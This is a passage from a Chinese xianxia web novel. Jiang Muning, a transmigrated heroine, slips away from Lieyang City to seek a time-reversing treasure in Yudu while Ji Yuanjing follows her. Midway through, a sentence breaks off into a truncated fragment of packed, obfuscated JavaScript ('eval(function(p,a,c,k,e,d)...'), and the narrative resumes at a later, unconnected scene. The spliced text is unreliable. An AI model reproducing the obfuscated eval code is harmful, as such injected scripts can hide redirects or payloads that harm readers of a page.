刚搪塞过去一个,现在又来一个。姜慕宁只好再搬出刚才的理由,好在沈霁雪信了她的话,不再追问。 她知道,那时的沈霁雪与徐鹤白历经万险,独闯灵蛇阵,成功解救了许多的百姓,他们的情谊也在其中逐渐加深。 “我还在梦妖的山洞里发现了女子的饰品,上面残留的气息与师妹身上的涂抹的香气相似,你可看看,这是否为你遗失之物?”沈霁雪是信她有改邪归正之意才与之挑明,徐鹤白在此前也有过猜忌,但沈霁雪观她这几日在烈阳城尽心尽力地帮助救治百姓,觉她尚有良善,便要问询一二。 姜慕宁挑出其中的玄色胭脂盒,仔细嗅了嗅其中气味,确实与她房间里的味道一致。她诧异地递了回去,这不应该这样,这上面的胭脂竟然也会有桂花香,原来的胭脂太过浓厚艳丽,涂上之后她的脸奇痒无比。 于是她寻了一些法子加以改良,添加了太虚门独有的桂花香与赤惊草,还向岳师伯讨要了一味灵药,才制成了这么一盒衬她皮肤的胭脂。 “是这个味儿,但这盒子不是我的。可能是巧合罢。”姜慕宁闻着闻着,突感不适,便将其还给了沈霁雪,默然片刻过后,她斩钉截铁地道,“师姐,烈阳城一事已了,我们是不是可以早日回山了?” 至于历练一事,姜慕宁从来就不觉得自己的修为能够在短时间内迅速增长,揠苗助长诸事她从来不喜勉强。 沈霁雪没有立即答她这个疑问,微微瞥了她一眼,神情复杂,踌躇地道:“短期恐怕不行,纪幼薇神志恍惚,深受打击,我们还得为她寻医。” 提起纪幼薇,姜慕宁心头猛然想起回来那日,纪幼薇就如疯了一般拿着徐鹤白的剑砍向谢亭修,嘴里不停地喊着“是你害了我的梦郎,我要杀了你”。 她当时站在谢亭修的身侧,那冰冷冷锋利的剑距离她的脖颈仅有一寸距离,幸是谢亭修出手拦了下来,还将她护在身后,否则她当场就得一命呜呼。 “我听师姐的。”她连连点头,伸手亲昵地挽着沈霁雪的手臂,想要将人往里带,“师姐要不要进来坐坐?” 沈霁雪止住脚步,缓缓从中挣脱,眉梢微扬,望着她的神情终不似在太虚门那般警惕与疏远,反倒有所释然:“谢师叔说你身上有邪祟,果然一除去,你便恢复如初,从前倒是我疏忽了。你好好休息,我明日再来唤你随我一起去受害百姓家中慰问。” 哪有什么邪祟?分明是谢亭修寻的借口罢了,不过也好,她不必寻个别的理由去解释自己的异常了。 不过沈霁雪的提议还是落了空。 近来,百姓家中频频发生怪事,最为怪异的是百姓的家禽无故吐血不止,僵硬的躯体总是会呈现出倒立之态。请来的法师推断是沾染了邪气,须寻出带来祸端的女子,于是便有人将祸首对准了纪府。 众怒愈发强烈,街坊皆传“纪二姑娘勾结妖孽为非作歹”,此事一经传播,惹得多数百姓在纪府集聚,势要将纪幼薇祭天方可平息祸事。 此时的纪府门口聚满了老少妇孺,都嚷嚷着要纪城主交出纪幼薇,沈霁雪他们都去前厅应付,后院便空余了许多。 现在,是离开的最好时机。 14. 禹都(一) 姜慕宁安静地站在纪府高楼俯瞰聚集的百姓,手间的黄色符纸熠熠生辉,她腰间的法器亦在微微震动,底下的纷扰似乎与她毫无关联,又如牵连甚广般让她移不开眼睛。 她的手上拿着带有姜家独有花纹的信笺,草草扫了一眼便将其焚毁。姜慕宁知道,是姜堰要她回一次姜家,这老家伙的消息倒是灵通,要拿她兴师问罪。 就知道问问问,她一个柔弱女子怎么会是活了百年的高阶修士的对手?她觉得,冥冥之中总有人或事情在推着她走,这样有头没尾地走下去,何时才是个头啊? 想着想着,耳侧里传来一道听起来比较陌生的声音,她闻言转身,望着来人步步靠近她,那人小声地说道:“你可要随我一起回去?” 现在离开,当然是最好的时期,无人顾及她的存在,何况这段剧情有她无她都别无二致,她何不趁此机会去寻寻那返回现实的宝物? 她将来人从上到下、认认真真地扫了一遍,努力去识别这人在脑海里的印象,手指微微颤抖,迟疑地说道:“元……元宵,我先不与你回去,我在此观察几日,再回天阙。” 元宵一袭玄衣,闻言,他的眼眸暗淡了些许,暗暗挪动脚步离她近了一些,略微怪异地开口:“姜大人知晓你将离魂焚心丹用在梦妖的身上后大发雷霆,他让我带你回去。你不肯随我回去,又是为了徐鹤白。” 气就气吧,反正气的不是她的身体,姜慕宁的反应淡淡的,仿佛元宵在说的事情与她毫无关系一般。 她感觉身旁的男子在看自己,转头过去时他刚好移开目光,看上去还有些许窘迫。顿了顿,姜慕宁试探地道:“在去天阙之前,我还想去一个地方,你会阻拦我么?我不是为徐鹤白,更不是为了谁,只是为我自己,你会拦我么?” 隐隐地,姜慕宁觉得元宵此人对她的感情绝非普通的主仆情谊,这副小心翼翼又掩藏暧昧的神情,任谁瞧了也不能觉得是普通的情感。 “不会。”元宵很认真地回答她的问题,说得很是坚定,“我不会拦你,你此刻前去天阙,并非是件好事,我会设法替你扫去障碍,七月十五日中元节,陛下在宫中设宴,届时你可回来。” 对她这么好,姜慕宁怀疑地盯着元宵,发出疑问:“你为什么这么帮我?我记得我从前对你并不好,为何不拦我?” 无凭无据的事,姜慕宁不敢轻易信任旁人。 为何会待她好,元宵心中自然有数,他只知道,姜慕宁从来都是个善于伪装的女子,以跋扈乖张面对旁人,也曾是救他于水火的女子。 他垂着眸子,好几次偷偷观察她的神情,舒了一口气,淡然一笑,从容地答她的疑问:“姜慕宁,是你对我说,要遵从本心行走,我现在所做便是随心而为。我等你回来。” 说罢,元宵便召来一剑,一跃而上离去,只余姜慕宁一人一头雾水地站在空寂的阁楼,她努力去理解元宵话里的意思,实在百思不得其解。 她对他说遵从本心? 何时说的? 难不成这个世界还有其他维度么?书里也不曾有元宵这号人物,听他话里有话,难不成他们之间还真有为人不知的秘密? 思着思着,她的目光越过遥远的距离抵达站立着的几人身上,沈霁雪的身旁似乎还多了位身着绿衣的女子。 徐鹤白发觉有道奇异的目光袭来,转头撞上她的视线,尴尬了一瞬,他只是向她点了一下头。 她从容地笑了笑,没再继续看下去。 “姜慕宁,你在做什么?” 身后突然传来一道声音,将她彻彻底底地吓了一跳,她手里的符纸因此坠落在地,被诸多百姓踩在脚下,蹂躏如碎片,白白浪费了一张千里符! 姜慕宁望着已成碎片的符纸,默默地哀痛了三息,攥着拳头往后瞧去,幽怨的眼神落在了缓缓朝她走来的男子身上,没好气地道:“你不去跟着他们安抚百姓,反倒来这里隔岸观火,做什么?” 女子眉间微蹙,脸鼓鼓囊囊的,落到纪元璟的眼里竟有几分可爱,他愣了一下,并未被她这没来由的烦躁影响,快步站到她的身侧,目光投向纪府门前之际,遂一眼便瞧见了地上的残屑,心里隐隐有些失落,说道:“慕宁,你是不是还在怪幼薇当日如此待你?是不是要走?” 被他戳中心事的姜慕宁眨了一下眼睛,没有任何负担地点头,坦率地道:“幼薇深受其害,神志不清,我不会和一个病患计较。不过你说对了,我是要走,我得回一次天阙。” 毕竟,纪幼薇算得上是位不错的姑娘,一时失去意识罢了,她不想斤斤计较的。 “走?”一听到姜慕宁要离开,纪元璟的语气不禁加重,语调也提高了几个度,连带着他自己都不曾察觉的失落问道,“天玑仙长不辞而别,你也要离开,我听徐鹤白说过,你们此次下山是为了梦妖而来,但我妹妹的余毒未解,你怎可忍心走?” 姜慕宁哑然失笑,是被他的话逗笑,不禁拍了拍他的肩膀,说:“唉你这人,我留在这里也没多大用处,还不如回趟家呢。我师尊让我历练,就是要我借此机会远赴桑梓,慰问一番亲人,我师姐和师兄是一等一的高手,他们自然有法子帮你的。” 留在这里,她每日都要面对无数张陌生的面孔,还要应对时不时泼脏水的百姓,这些皆可忽略。 最为重要的一点是,她想回家,她想去试试禹都的那件宝物是否能够助她返回现实,她凭借善意收获了很多愿意重新接纳她的同门朋友,更与纪元璟解开了误会,成为了一时的朋友,但她深知此为虚幻,终究是会被击破的缥缈。 “姜慕宁,我还有件东西想要送给你,先别走……”纪元璟的声音低低的,有些含糊,以至于身旁的女子没能听到他的话。 两人的身影擦肩而过,她的衣角轻轻擦过他垂在腿间的手掌,倏忽地,纪元璟想也不想地抓住她的手往自己身上一扯,姜慕宁被这蛮力强行拉了过去,额头重重地撞到了他的鼻梁骨。 一声闷哼响在耳侧,她下意识地在他的脚上来了一脚,推开了钳制着的手,两人四目相对了一阵,她眼中犹有愧意,语气却是生硬得很:“喂,纪元璟,有话好好说,别东拉西扯的。那个,我不是故意的。” 她的眼珠子转了又转,手指不自然地挠挠鼻头,偷瞄着正吃痛地揉揉自己鼻梁的纪元璟,她脸上的赧颜一闪而过,咳了两声,继续说道:“这几日你带我逛烈阳城,我很感谢你,从前对你的妄言是我有错,我在此向你赔个不是。刚才天阙那边来了书信,伯父要我回天阙一叙,师尊给的任务我定然不会忘却,见过他们,若有机会,我们还能再见面的。” 纪元璟轻轻撩起眼帘,淡淡地扫她一眼,再度拾起那副吊儿郎当的模样,将怀里准备好的物品取出,丢给了她,散漫地说:“你该不会以为我是舍不得你吧,想什么呢?我听说你要去禹都,这东西名唤归邪,放在心口能够保护你。” 他是怎么知道的? 姜慕宁迟迟不肯接过来,好奇地问:“纪元璟,听错了吧,我是回天阙,不是去禹都。” 他一副了然于胸的模样,微微勾起唇角,将东西强行塞到她的手上,有些心虚地移开视线,“实不相瞒,从你接到飞鸟传书那时,我便一直跟在你的身后,听你念叨禹都二字,便猜到了你定不会先去京城……还有刚才你们的对话,我都听到了。” “好啊,你偷听我的话!你这个小人!”姜慕宁打断他的话,恍然大悟般说,“去禹都是圆我曾经的愿望,我给他们留了书信,既然你在此,便替我转达一下,如何?” “你听到没有。”姜慕宁用手推搡了一下纪元璟,这人怎么突然变得呆呆的,看着好生奇怪。 纪元璟却沉默了起来,他觉得姜慕宁是去与谢亭修汇合的,父亲让他无论如何也要拜谢亭修为师,学他的本领好对抗那些觊觎烈阳城的世家。 有徐鹤白与沈霁雪在此,父亲与妹妹的病情只会愈发好转,他若错过这次机会,便只能再等待三年,参加太虚门的比试。 “纪元璟,我走啦。”姜慕宁没打算再与他纠缠,见他愣神之际便转身离去,操控着不太稳当的千机剑乘风远去,飘摇的衣衫被风拂起,逐渐隐于山间云雾中,再难追回。 按照设定,徐鹤白与沈霁雪会前去巫山寻百年灵草救治纪幼薇,途中遇到反派赵其樾,赵其樾受人唆使欲强抢沈霁雪,反被徐鹤白打成重伤,两人自此结下梁子。 这唆使的人是谁便不多说了。 没了她在暗自碍手碍脚的,他们应当会顺利不少,此乃成人之美呐。 姜慕宁哼着小曲御剑赶往禹都,由于灵力比较低微,她御剑御了半个时辰便累得浑身酸痛,认命般地落地步行。 好在她坠落的地方距离禹都并不远,只有百里之距,走便走罢,沿途观赏这多姿多彩的壮丽河山也不失为一件乐事。 天下宝物尽在禹都,唯有转息轮是姜慕宁之祈愿,避水珠能够抵挡转息轮发出的灵息,烈阳城正是盛产此珠的胜地,问纪元璟要避水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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既然被人认了出来,那姜慕宁也没有再隐瞒的义务,正好也轮到了她,她将酒坛往小厮的手上一放,缓缓转身面对众人,有礼地道:“转息轮乃是不俗之物,且桑府来者不拒,我来观观,家师特要我前来观摩宝物,长长见识。” 几人信服,不再讨论。 搬出谢亭修的名号,还是有一点用处的。 正当她准备踏入芙蓉楼的那刻,匆匆赶来的纪元璟叫住了她,他将准备的礼物甩到了站立小厮的手上,说着“你就记烈阳城纪元璟携百颗避水珠前来拜会”,便强行挤入人群,一路挤到了她的身边。 旁边的人议论纷纷,指着他,碍于他的身份又不好说些何话,只得恶狠狠地瞪了几眼,腹诽着离去。 “你早该等我,这转息轮我也好奇。你跟我来。”纪元璟满意地冲她挑了挑眉,拉着她入了最上房,他轻轻推开房门,让她先行,调侃般说着,“幼薇有所好转,我是奉我父亲的令来禹都赴会的,我可没有跟着你。” 在此之前他早已吩咐底下的人备好酒菜,此刻的木桌上摆满了各种的山珍海味,琳琅满目,香气扑鼻而来,着实让姜慕宁有些嘴馋。 她没和他客气,先行坐在座位,拾起一旁的筷子便准备开吃。纪元璟跟着她一起坐下来,坐在她的对面,望着她的眼睛带着些许笑意。 “你也知道转息轮?”在开宴前,姜慕宁没能忘记正事,这段原著小插曲竟然也能演变成香喷喷的热饽饽,太匪夷所思了。 * “传闻转息轮可逆转时空,至今没有人能够操控得了它,原因有三,其一,转息轮是上古时期遗留的宝物,曾被魅妖一族看管,魅妖虽已灭族,但它们在转息轮留了一种名唤‘贪妄’的法术,中此咒者,易被魅妖吸食,道心不稳者皆不敢轻易尝试;其二,它可逆转阴阳,撕裂空间,但须施法者付出代价,修士忌惮,也想得到;其三,它曾被南陵太子夏侯朔以血喂养,沾染了凡人贪念,极易吸收凡人妄念。其中不乏人多次尝试夺取它,但都被一一毁掉。” 芙蓉楼里客似云来,唯有其间暗楼噤若寒蝉,两人对坐在内,其中一人白衣胜雪,眉间点雪若川倾泻,另外一人玄衣加身,着玄色幂篱,举着杯说话。 白衣男子则轻拭摆在桌上的寒剑,没有接过对面递过来的酒,他的目光短暂地在玄衣男子身上停留了会儿,顷刻之间,他开口道:“容亓,本座并非夏侯朔,你多次送来拜帖,本座见你心诚便应约而来,现在给你一个完整的答复。你信中所言,我只当是你一时胡言。” 玄衣朱裳之人目光越过层层楼层,落在底下的朱色姑娘的身上,语气淡淡,嘴角挂上了一丝得意的笑容,他如不经意般道来:“仙尊不肯与我相认,倒也无妨。只要你肯与我合作,我可以替你杀了姜家派来毁你道行的女子,以表在下的诚意。”